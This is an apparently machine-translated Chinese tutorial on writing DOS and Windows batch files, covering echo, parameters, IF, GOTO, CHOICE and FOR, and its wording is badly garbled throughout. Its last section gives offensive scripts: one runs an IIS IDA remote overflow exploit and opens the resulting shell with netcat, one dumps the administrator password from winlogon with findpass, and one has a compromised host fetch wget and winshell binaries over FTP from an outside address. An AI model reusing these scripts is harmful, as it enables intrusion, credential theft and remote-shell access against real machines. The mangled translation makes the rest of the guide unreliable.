Writing and use of the BAT file

xiaoxiao2021-03-05  21

First, the batch file is a text file. Every line of this file is a DOS command (most of us seem to be the same as the command line executed by the DOS prompt), you can use the Edit or Windows under DOS. Any text file editing tool such as Notepad is created and modified.

Second, the batch file is a simple program that can control the process running through the Conditional Statement (IF) and Process Control Statement (GOTO), and can also use the loop statement (for) to perform a command in the batch. . Of course, the programming capabilities of batch files are very limited, and it is very unregulated. Batch program statement is a DOS command (including internal commands and external commands), and the capacity of batch depends primarily on the command you are using.

Third, each prepared batch file is equivalent to a DOS external command, you can put it in your DOS search path (PATH) to make it run in any location. A good habit is to create a BAT or BATCH directory (for example, C: / Batch) on the hard disk, then put all your written batch files in this directory, so you just set up C: / Batch in PATH, you You can run all your written batch programs in any location.

Fourth, under the DOS and WIN9X / ME system, the autoexec.bat batch file under the root directory is automatically run batch file. You can run the file each time the system is started, you can start the system each time The command to run is placed in this file, such as setting the search path, tune the mouse driver and disk cache, set system environment variables. Below is an example of autoexec.bat running under Windows 98:

@Echo off

Path C: / Windows; C: / UCDOS; C: / Dostools; C: / SyStools; C: / Wintools; C: / Batch

LH smartdrv.exe / x

Lh doskey.com / insert

LH CTMouse.exe

SET TEMP = D: / TEMP

SET TMP = D: / TEMP

Batch treatment

Simply put, the role of batch is the automatic continuous implementation of multiple commands.

Here first, a simplest application: When starting the WPS software, you must execute each time (> the previous content represents the DOS prompt):

C: /> CD WPS

C: / WPS> SPDOS

C: / WPS> PY

C: / WPS> WBX

C: / WPS> WPS

If you do this before every time you use WPS, do you feel very trouble?

Ok, use batch processing, you can simplify these troubles, first we write a runwps.bat batch file, the content is as follows:

@echo off

C:

CD / WPS

SPDOS

py

WBX

WPS

CD /

In the future, we have access to WPS each time, just run the running of RunWPs.

Common command

Echo, @, call, pause, remote: Use :: Replace REM) is the most commonly used commands of the batch file, and we start learning from them.

Echo indicates the character after displaying this command.

Echo off means that all running commands after this statement does not display the command line itself

@ @ And the echo offline, but it is the most in front of each command line, indicating that the command line does not show this line when running (only the current line).

Call calls another batch file (if you do not use Call to directly call other batch files, then the current file will not be returned after the batch file is executed and the current file will be executed. PAUSE runs this sentence to suspend the execution of the apparatus and display the prompts of the press any key to contact ... on the screen, wait for the user to continue after pressing any key

REM indicates that the characters after this command are interpreted (notes), not executed, just give yourself reference (equivalent to comments in the program).

Example 1: Edit a.bat file with Edit, enter the following contents After the store is c: /a.bat, you can implement it after executing the batch file: write all the files in the root directory to A.TXT, start UCDOS, enter WPS and other functions.

The content of the batch file is: Command Note:

@echo off does not show the subsequent command line and the current command line

Dir c: /*.*> a.txt writes the C disk file list to A.txt

Call C: /ucdos/ucdos.bat call UCDOS

echo Hello, "Hello"

Pause pause, wait for the button to continue

REM is ready to run WPS Note: Prepare to run WPS

CD UCDOS enters UCDOS directory

WPS runs WPS

Batch file parameters

Batch files can also use parameters like the C language function (equivalent to the command line parameters of the DOS command), which requires a parameter representator "%".

% [1-9] indicates parameters, and parameters refer to a string separated by space (or Tab) after running the batch file. Variables can indicate the batch command itself from% 0 to% 9,% 0, and other parameter strings are represented by% 1 to% 9.

Example 2: C: There is a batch of processing files in the root directory name F.BAT, the content is:

@echo off

Format% 1

If you do C: /> f A:

Then when F.Bat is executed,% 1 represents A:, so FORMAT% 1 is equivalent to format A:, then the above command is actually executed in Format A:

Example 3: C: The next batch of processing files in the root directory name is T.BAT, the content is:

@echo off

TYPE% 1

TYPE% 2

So running c: /> t a.txt b.txt

% 1: Represents A.txt

% 2: Represents B.TXT

The above command will sequentially display the contents of the A.TXT and B.TXT files.

Special command

If Goto Choice for is a relatively advanced command in a batch file. If you are very skilled, you are an expert in batch files.

First, if the IF is a conditional statement, it is used to determine whether it meets the specified conditions, thereby deciding to perform different commands. There are three formats:

1, if [not] "parameter" == "string" command to be executed

If the parameter is equal to (NOT means not et al, the following) The specified string, the condition is established, run the command, otherwise run the next sentence.

Example: if "% 1" == "a" format A:

2, if [not] exist [path /] file name to be executed

If you have a specified file, the condition is true, run the command, otherwise run the next sentence.

Such as: if exist c: /config.sys type c: /config.sys

Indicates that it is displayed if there is a C: /Config.sys file. 3, if Errorlevel The command to be executed

Many DOS programs return a numeric value after running, it is used to indicate the result (or status) of the program run (or status), and the return value of the program can be determined by the if ErrorLevel command, determine the execution of different commands according to different return values ​​(return value must Arranged from large to small order). If the return value is equal to the specified number, the condition is established, run the command, otherwise run the next sentence.

If Errorlevel 2 Goto X2

Second, the GOTO batch file is running here will jump to the reference numeral specified by Goto (label, label is used: After the standard string is defined), the GOTO statement is generally used in conjunction with the IF, depending on the different conditions. Command group.

Such as:

Goto end

: END: END

echo this is the end

The label is defined with the ": string", and the routing is not executed.

Third, Choice uses this command to allow users to enter a character (for choice) to return different ErrorLevel according to the user's selection, and then run different commands according to the user's selection.

Note: The choice command is the external command provided by the DOS or Windows system. Different versions of the Choice command speech will be slightly different. Please use the khoice /? View.

Choice's command syntax (this syntax is the syntax of the choice command in Windows 2003, and the other version of the Choice command syntax is similar to this.):

Choice [/ cchoices] [/ n] [/ cs] [/ t timeout / d choice] [/ m text]

description:

This tool allows users to select an item from the selection list and return the index of the selected item.

parameter list:

/ C Choices Specifies the list of options to create. The default list is "YN".

/ N hides the list of options in the prompt. Tip The previous message is displayed, and the option is still enabled.

/ Cs allows selection options to select. By default, this tool is not case-sensitive.

/ T timeout makes the number of seconds before the default selection. Acceptable values ​​are from 0 to 9999. If 0 is specified, there will be no pause, the default option

Will get the choice.

/ D Choice Specifies the default option after NNNN seconds. The characters must be in a set of selections specified by / c option; at the same time, NNNN must be specified with / t.

/ M text Specifies the message to display before prompt. If not specified, the tool only shows the prompt.

/? Display help messages.

note:

The ErrorLevel environment variable is set to the key index selected from the selection set. The first selection listed returns 1, the second selection returns 2, and so on. If the user presses the key is not a valid choice, the tool will warn the sound. If the tool detects an error status, it returns 255 ErrorLevel value. If the user presses the Ctrl Break or Ctrl C button, the tool will return to the ErrorLevel value. Use the Errorlevel parameter in a batch to place the parameters.

Example:

CHOICE /?

Choice / C YNC / M "Confirm, press Y, no Please press N, or cancel, press C."

CHOICE / T 10 / C YNC / CS / D Y

Choice / C AB / M option 1 Select a, option 2 Please select B. "

Choice / C AB / N / M option 1 Select a, Option 2 Please select B. "If I run the command: choice / c ync / m" Confirm, press Y, please press N, or cancel, press C. "

The screen will be displayed:

Confirm, press Y, no, press N, or cancel, press C. [Y, n, c]?

Example: Test.bat is as follows (note that when the return value is used to determine the return value with if ErrorLevel, press the return value from high to low alignment):

@echo off

Choice / C DME / M "DEFRAG, MEM, END"

IF Errorlevel 3 Goto end

IF Errorlevel 2 Goto Mem

IF Errotlevel 1 goto defrag

: defrag

C: / DOS / DEFRAG

Goto end

: MEM

MEM

Goto end

: END: END

Echo good bye

After this batch run, "DEFRAG, MEM, END [D, E]?", The user can select DME, then the IF statement determines based on the user's selection, D represents the block, M, M, M, M, M Indicates a block that executes the label MEM, and e means executing the program of the label End, and each block is finally jumped to the END Number with goto End, and then the program will display good Bye, the batch run.

Fourth, for loop command, as long as the condition is in line with, it will execute the same command multiple times.

grammar:

Perform a particular command to each file in a set of files.

For %% Variable In (SET) Do Command [Command-Parameters]

%% variable specifies a single letter replaceable parameter.

(SET) Specify one or a set of files. You can use wildcards.

Command specifies the command to execute each file.

Command-parameters specifies parameters or command line switches for a specific command.

For example, there is a line in a batch file:

For %% c in (* .bat * .txt) Do Type %% C

The command line displays all the contents of the files with BAT and TXT-based files in the current directory.

Batch example

IF-EXIST

1)

First use the notepad in C: / create a TEST1.BAT batch file, the contents of the file are as follows:

@echo off

If exist /autoexec.bat type /autoexec.bat

If not exist /autoexec.bat echo /autoexec.bat does not exist

Then run it:

C: /> Test1.bat

If C: / exists autoeexec.bat file, then its content will be displayed, if there is no existence, the batch will prompt you if the file does not exist.

2)

Then establish a Test2.bat file, the content is as follows:

@Echo off

IF EXIST /% 1 TYPE /% 1

IF not exist /% 1 ECHO /% 1 does not exist

carried out:

C: /> Test2 AutoExec.bat

This command runs the result.

Description:

(1) If exist is used to test whether the file is existing, the format is

IF exist [Path File Name] command

(2)% 1 in the test2.bat file is the parameter, the DOS allows 9 batch parameter information to batch file, which is% 1 ~% 9 (% 0 means the Test2 command itself), this is a bit like programming The relationship between the parameters,% 1 is the form, and Autoexec.Bat is inform. 3) Further, create a file called Test3.bat, the content is as follows:

@echo off

IF "% 1" == "a" echo xiao

IF "% 2" == "b" echo tian

IF "% 3" == "c" echo xin

If you run:

C: /> TEST3 A b C

The screen will be displayed:

Xiao

Tian

Xin

If you run:

C: /> TEST3 A B

Display on the screen

Xiao

Tian

During this command execution, DOS specifies an empty string to the parameter% 3.

2, if-errorlevel

Establish TEST4.BAT, the content is as follows:

@Echo off

Xcopy C: /autoexec.bat D: IF Errorlevel 1 Echo file copy failed

IF Errorlevel 0 Echo success copy file

Then execute the file:

C: /> TEST4

If the file copy is successful, the screen will display "Successful Copy File", otherwise "file copy failed" will be displayed.

If ErrorLevel is used to test the return value of its previous DOS command, pay attention to the return value of the last command, and the return value must be determined in order from large to small order. So the batch file below is wrong:

@Echo off

Xcopy C: /autoexec.bat D: /

IF Errorlevel 0 Echo success copy file

IF Errorlevel 1 Echo Did not find a copy file

If Errorlevel 2 Echo users suspended copy operation via Ctrl-C

IF Errorlevel 3 Echo Preset Error Block File Copy Operation

IF Errorlevel 4 Echo copy process during writing

Whether the copy is successful, followed by:

No copy file is found

User via CTRL-C suspension

Preset error Block file copy operation

Write disk error during copying

Will be displayed.

The following is the return value of several common commands and their representatives:

BACKUP

0 backup success

1 Did you find a backup file

2 File shared conflict blocks backup completion

3 users use Ctrl-C to stop backup

4 Make backup operations to abort the backup operation due to fatal errors

Diskcomp

0 disk is more

1 disk comparison

2 users suspend comparison operation via Ctrl-C

3 Since the fatal error makes the comparison operation

4 Preset error abort

Diskcopy

0 disks copy operation

1 non-pendant read / write wrong

2 Users end copy operation via Ctrl-C

3 Copy stop due to fatal processing errors

4 Preset error block copy operation

Format

0 Successfully

3 users suspend formatted processing via CTRL-C

4 Surperse formatting due to fatal processing errors

5 Type N of N under the prompt "Proceed with format (y / n)?"

xcopy

0 Success copy file

1 Did you find a copy file

2 users suspend copy operation via CTRL-C

4 Preset error Block file copy operation

5 write disk errors during copying

3, if string1 == String2

Establish TEST5.BAT, the file content is as follows:

@echo off

IF "% 1" == "a" Format A: Execute:

C: /> TEST5 A

Whether the A: disc is formatted on the screen.

Note: In order to prevent the parameters from being empty, the string will generally use double quotes (or other symbols, notice that the reserved symbol) is enclosed.

Such as: IF [% 1] == [a] or if% 1 * == a *

5, goto

Establishing Test6.bat, the document content is as follows:

@Echo off

IF exist c: /autoexec.bat goto _copy

Goto _done

: _COPY

Copy C: /autoexec.bat D: /

: _DONE

note:

(1) Before the label is the colon of the ASCII character ":", there is no space between the colon and the label.

(2) Name rules of the label are the same as the name rules of the file name.

(3) DOS supports the label of the longest eight characters. When it is not possible to distinguish two labels, it will jump to the nearest label.

6, for

Establish C: / Test7.bat, the document content is as follows:

@Echo off

For %% c in (* .bat * .txt * .sys) do type %% C

run:

C:> Test7

After execution, all the C: Panhe TXT, SYS is displayed in BAT, TXT, and SYS (excluding the hidden file).

Win2000 command line method batch bat file skills

Article structure

1. Help information for all built-in commands

2. Concept of environment variable

3. Built-in special symbols (pay attention to avoidance in the middle)

4. Simple Batch File Concept

5. Attachment 1 TMP.TXT

6. Attachment 2 Sample.bat

##########################################

1. Help information for all built-in commands

##########################################

Ver

CMD /?

SET /?

REM /?

IF /?

echo /?

GOTO /?

FOR /?

SHIFT /?

Call /?

Other common commands required

TYPE /?

Find /?

Findstr /?

COPY /?

The following will output all the help to a file

Echo Ver> tmp.txt

Ver >> TMP.txt

Echo cmd /? >> TMP.TXT

CMD /? >> TMP.TXT

echo rad /? >> TMP.TXT

REM /? >> TMP.TXT

Echo IF /? >> TMP.TXT

IF /? >> TMP.TXT

echo goto /? >> TMP.TXT

GOTO /? >> TMP.TXT

echo for /? >> TMP.TXT

FOR /? >> TMP.TXT

echo shift /? >> TMP.TXT

SHIFT /? >> TMP.TXT

echo call /? >> TMP.TXT

Call /? >> TMP.TXT

echo type /? >> TMP.TXT

Type /? >> TMP.TXT

Echo Find /? >> TMP.TXT

Find /? >> TMP.TXT

Echo Findstr /? >> TMP.TXT

FINDSTR /? >> TMP.TXT

echo copy /? >> TMP.TXT

COPY /? >> TMP.TXT

TYPE TMP.TXT ######################

2. Concept of environment variable

###########################################

C: / program files> set

Allusersprofile = C: / Documents and Settings / All Users

CommonProgramFiles = C: / Program Files / Common Files

Computername = first

COMSPEC = C: /Winnt/System32/cmd.exe

Number_of_processors = 1

OS = Windows_NT

Os2LibPath = C: / WinNT / System32 / OS2 / DLL;

PATH = C: / Winnt / System32; C: / Winnt; C: / Winnt / System32 / WBEM

PATHEXT = .com; .exe ;.bat; .cmd; .vbs; .vbe; .js; .jse; .wsf; .wsh

Processor_architecture = x86

Processor_identifier = x86 family 6 model 6 Stepping 5, Genuineintel

Processor_level = 6

Processor_revision = 0605

Programfiles = C: / Program Files

Prompt = $ P $ g

SystemDrive = C:

SystemRoot = C: / Winnt

Temp = C: / WinNT / TEMP

TMP = C: / WinNT / TEMP

UserProfile = C: / Documents and Settings / Default User

WINDIR = C: / WinNT

PATH: Represents the search path of the executable program. My suggestion is that you put your program Copy to

% windir% / system32 /. This directory is usually automatically searched.

Syntax: Copy mychenxu.exe% window / system32 /.

Use the point (.) To make a look at it.

Quote for environmental variables (English mode, half angle) double quotes

% WINDIR% variable

%% WINDIR %% quadratic variable reference.

We are commonly used

% Temp% Temporary Directory

% WINDIR% system catalog

% Errorlevel% exits the code

Output files into the temporary file directory. This makes it easy to clean up the current directory.

Parameters with spaces. You should learn to use double quotes ("") to indicate, for example, for the PORGRAM FILE folder

C: /> DIR P *

C: / directory

2000-09-02 11:47 2,164 pdos.def

1999-01-03 00:47

Program Files

1 file 2,164 bytes

1 directory 1,505,997,824 available bytes

C: /> cd pro *

C: / program files>

C: />

C: /> CD "program files"

C: / program files>

#############################################################

3. Built-in special symbols (pay attention to avoidance in the middle)

#############################################################

Microsoft has built-in characters that cannot be used in the middle of the created file name

Con Nul aux / / | || && ^> <*

You can use most characters as variable values, including white space If you use the special characters <,>, |.., &, Or ^, you must precede them with the escape character (^) or quotation marks If you use quotation marks The value becauses everying following the equal sign is taken as the value. Consider the folload example :( 大意: either you use ^ as the leader characters. Or only use double quotes "" "

To create the variable value new & name, Type:

Set varname = new ^ & name

To create the variable value "new & name", TYPE:

Set varname = "new & name"

THE AMPERSAND (&), AND PARENTHESES () Are Special Characters That Must Be Preceded by The Escape CHARACTER (^) Or Quotation Marks When You Pass The as arguments.

Find "pacific rim" nwtrade.txt

IF EXIST FileName. (DEL FileName) Else Echo FileName. Missing

> Create a file

>> Adding to a file

@ Prefix character. When the execution is executed, the Bank does not display in the CMD, you can use the Echo OFF to close the display.

^ Special symbol (> <&) leader. The first only shows the AAA second output file BBB

Echo 123456 ^> AAA

Echo 1231231> BBB

() Contains commands

(echo aa & echo bb)

, The same default separation symbol as spaces.

; Note, indicating that the following is comment

: Label role

| Pipeline operation

& Usage: The first command & second command [& Article 3 Commands ...]

Use this method to perform multiple commands at the same time, regardless of whether or not the command is successful

DIR C: / *. EXE & DIR D: / *. EXE & DIR E: / *. EXE

&& usage: The first command && second order [&& Article 3 Commands ...]

When you encounter an error, you will not perform the back command, if there is no error, you have been executed all commands;

|| Usage: The first command || Second order [|| Article 3 Commands ...]

When you touch the correct command, you will not execute the back command. If you don't have the correct command, you have been executed all commands;

Common grammar format

IF [NOT] Errorlevel Number Command Para1 Para2

IF [not] string1 == String2 Command Para1 Para2

IF [NOT] EXIST FileName Command Para1 Para2

IF EXIST FileName Command Para1 Para2

IF not exist filename command para1 para2if "% 1" == "" goto end

IF "% 1" == "net" goto net

IF not "% 2" == "net" goto Other

IF Errorlevel 1 Command Para1 Para2

IF not Errorlevel 1 Command Para1 Para2

FOR / L %% I in (Start, Step, End) Do Command [Command-Parameters] %% i

FOR / F "eol =; tokens = 2, 3 * delims =,"% I in (myfile.txt) do Echo% I% J% K

Take the parameters in order according to the alphabetical order IJKLMnOPQ.

EOL = C - Refers to the end of a row bet release character (one)

Skip = n - refers to the number of rows ignored at the beginning of the file.

Delims = xxx - Indicator jacket set. This default separator set replaces the space and the jumping.

################################

4. Simple Batch File Concept

################################

Echo this is test> a.txt

TYPE A.TXT

Echo this is test 11111 >> a.txt

TYPE A.TXT

Echo this is test 22222> a.txt

TYPE A.TXT

The second ECHO is appended

The third Echo will empty a.txt recreate A.TXT

Netstat -n | Find "3389"

This will list the IP of all users connected 3389.

________________ Test.bat ______

@echo please

Echo Plese Care 1111

Echo Plese Care 2222

Echo Plese Care 3333

@echo please

@echo place Care 1111

@echo place Care 2222

@echo place be 3333

REM does not display a comment statement, the Bank is displayed

@REM does not display a comment statement, the Bank does not display

@IF EXIST% Windir% / System32 / Find.exe (Echo Find Find.exe !!!) Else (Echo Error: NOT FIND FIND.EX)

@IF EXIST% Windir% / System32 / Fina.exe (Echo Find Fina.exe !!!) Else (Echo Error: Not FINA.EXE)

_____________________________

Below we use a specific iDahack program is an IDA remote overflow as an example. It should be very simple.

___________________ ida.bat _____

@Rem Ver 1.0

@if Not exist% Windir% / System32 / Idahack.exe Echo "Error: DONT FIND iDAHACK.EXE"

@IF not exist% Windir% / System32 / Nc.exe echo "Error: DONT FIND NC.EXE"

@IF "% 1" == "" GOTO USAGE

@if not "% 2" == "" GOTO SP2

: start @ echo now start ...

@PING% 1

@echo chinese win2k: 1 SP1: 2 SP2: 3

Idahack.exe% 1 80 1 99>% TEMP% / _ TMP

@echo "PROG EXIT code" iDahack.exe "

@Type% Temp% / _ TMP

@find "Good luck :)"% TEMP% / _TMP

@echo "PROG EXIT code" Find [Goog Luck] "

@if Not Errorlevel 1 nc.exe% 1 99

@goto end

: SP2

@ iDahack.exe% 1 80% 2 99% TEMP% / _ TMP

@Type% Temp% / _ TMP

@find "Good luck :)"% TEMP% / _TMP

@if Not Errorlevel 1 nc.exe% 1 99

@goto end

: USAGE

@echo example: ida.bat ip

@echo example: ida.bat ip (2,3)

: END: END

_____________________ ida.bat__end _______

Let's take a second file below. It is a password for administrator.

Most people can't say it. In fact, I have no correct information.

_______________________________________________________________

@Rem Ver 1.0

@IF not exist% Windir% / System32 / Findpass.exe echo "error: dont find findpass.exe"

@IF not exist% Windir% / System32 / Pulist.exe Echo "Error: DONT FIND PULIST.EXE"

@echo start ....

@echo __________________________________

@IF "% 1" == "" GOTO USAGE

@ FindPass.exe% 1% 2% 3 >>% TEMP% / _Findpass.txt

@echo "prog exit code" Findpass.exe "

@Type% Temp% / _Findpass.txt

@echo __________________________________pass ★★★★★★★★

@ipconfig / all >>% TEMP% / _ Findpass.txt

@goto end

: USAGE

@ Pulist.exe>% TEMP% / _ pass.txt

@FindStr.exe / i "Winlogon Explorer INTERNAT"% TEMP% / _ Pass.txt

@echo "EXAMPLE: FPass.bat% 1% 2% 3% 4 !!!"

@echo "Usage: Findpass.exe DomainName UserName Pid-of-Winlogon"

: END: END

@echo "fpass.bat% computename%% Username% administrator" @echo "fpass.bat end [% errorle%]!"

_______________________________________________________________________________

Another one is that I have already logged in a remote host through Telnet. How to upload a document (win)

Enter the following things in turn. Of course, you can copy .ctrl V in the past. Then wait !!

Echo open 210.64.x.4 3396> w

Echo Read >> W

Echo Read >> W

Echo CD WINNT >> W

Echo binary >> W

Echo PWD >> W

Echo get wget.exe >> W

Echo get winshell.exe >> W

echo get any.exe >> W

Echo quit >> W

ftp -s: w

转载请注明原文地址:https://www.9cbs.com/read-39263.html

New Post(0)